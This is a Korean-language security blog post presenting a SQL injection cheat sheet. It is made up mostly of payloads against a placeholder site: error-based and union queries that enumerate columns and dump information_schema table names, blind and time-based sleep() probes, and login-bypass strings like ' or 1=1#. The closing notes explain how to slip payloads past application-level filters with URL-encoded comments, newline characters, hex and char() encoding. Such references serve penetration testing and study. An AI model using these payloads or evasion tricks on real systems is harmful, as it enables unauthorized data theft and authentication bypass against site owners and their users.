본문 바로가기
2. Information Security/1. Insight

4. SQL INJECTION CHEAT SHEET (SQL 인젝션 치트 시트)

by H232C 2020. 2. 4.

1. Error Based SQL Injection

Having Error (This Column Name)
- www.test.com/?no=1' having 1=1 #
- www.test.com/?no=(1)having(1)in(1)

 

Group by Having Error (Another Column Name)
- www.test.com/?no=1' having 1=1-- (Column name)
- www.test.com/?no=1' group by no having 1=1# -> name column error
- www.test.com/?no=1' group by no, name having 1=1# -> code column erorr
- www.test.com/?no=1' group by no, name, code having 1=1#

Sum Error (Data Type)
- www.test.com/?no='1 union select sum(no), sum(name),1,1 # -> Data Type Error

Union Error (Column Quantity)
- www.test.com/?no=1' union select 1,1,1 # 
- www.test.com/?no=1 union select 1,1,1,1 # if(!error); column quantity is 4
- www.test.com/?no=(1) union select (1),(database()),(@@version)
- www.test.com/?no=1' union select (select(group_concat(table_name))from(information_schema.tables)),1,1,1#
- www.test.com/?no=1' union select (select(group_concat(concat_ws(0x3a,table_name)))from(information_schema.tables)),1,1,1#

Order by (Column Qantity)
- www.test.com/?no=1' order by 1 #
- www.test.com/?no=1' order by 2#  -> if(error); column quantity = 1

 

2. Blind Based Injection

 Injection Point
- www.test.com/?no=0+1
- www.test.com/?no=1 or 1
- www.test.com/?no=(1)and(0)
- www.test.com/?no=1' and 0#

 Injection Start
- www.test.com/?no=(0)and(if(1=1,1,0))
- www.test.com/?no=0' and if(1=1,1,0)#

 

3. Time based Injection

- www.test.com/?no=1 and 1=1 -> Result!
- www.test.com/?no=1 and 1=0 -> None Message
- www.test.com/?no=1 and if(substr(select(table_name)from(information_schema.tables)limit(0)),1,1)in(113),1,sleep(5));

 

4. Auth Bypass

 - ' or 1=1#
 - ' or 1=1--
 - ' or 'a'='a'#
 - ' or 2>1#
 - ' or 'ab'='a'+'b'#
 - ' or 'ab'=group_concat('a','b') #

 

5. 테스트

test 일반구문
-1 실패구문 + 싱글쿼터
실패구문 + 싱글쿼터 + # -> Injection
실패구문 + 싱글쿼터 + if문 + #
비교문
비교문
union절 실패 (1,1) 유효하지않음
union 설공
group by 성공 (2개 컬럼)
Union 성공 (1,1) -> (1),(1)

 

order by 성공
order by 실패
and 조건 성공
조건문
기본적으로 파라메터는 싱글쿼터 사이에 들어가므로 char이나 ascii, hex 등의 기능을 이용하려면 쿼터를 탈출시켜줘야 한다. 파라메터에 허수를 주고 이후 오는 쿼리문에 공격구문을 적어주면 된다.
응용 %23(#), 공백미사용 Injection 코드
%23으로 공백처리 후 %0a를 이용하여 아랫줄에 공격문을 이용함
Like 구문
char(97,100,109,105,110) = admin
#. -- 우회 중요한점 (파라메터; %00)

Insight : WEB -> WAS -> DB 프로세스에서 WAS 단의 필터링을 우회하여 DB에서 실행되게 하는 것이 중요
- WEB/WAS(%23) -> DB(#)
- WEB/WAS(0x61646d696e) -> DB(admin)
- (%0a,%0b,%0c 등) -> DB(공백)

 

 

'2. Information Security > 1. Insight' 카테고리의 다른 글

6. Filtering 우회  (0) 2020.02.11
5. Filtering 우회  (0) 2020.02.05
3. XSS  (0) 2020.01.13
2. SQL INJECTION CHEAT SHEET (SQL 인젝션)  (0) 2019.10.20
1. PHP Security  (0) 2019.10.20

댓글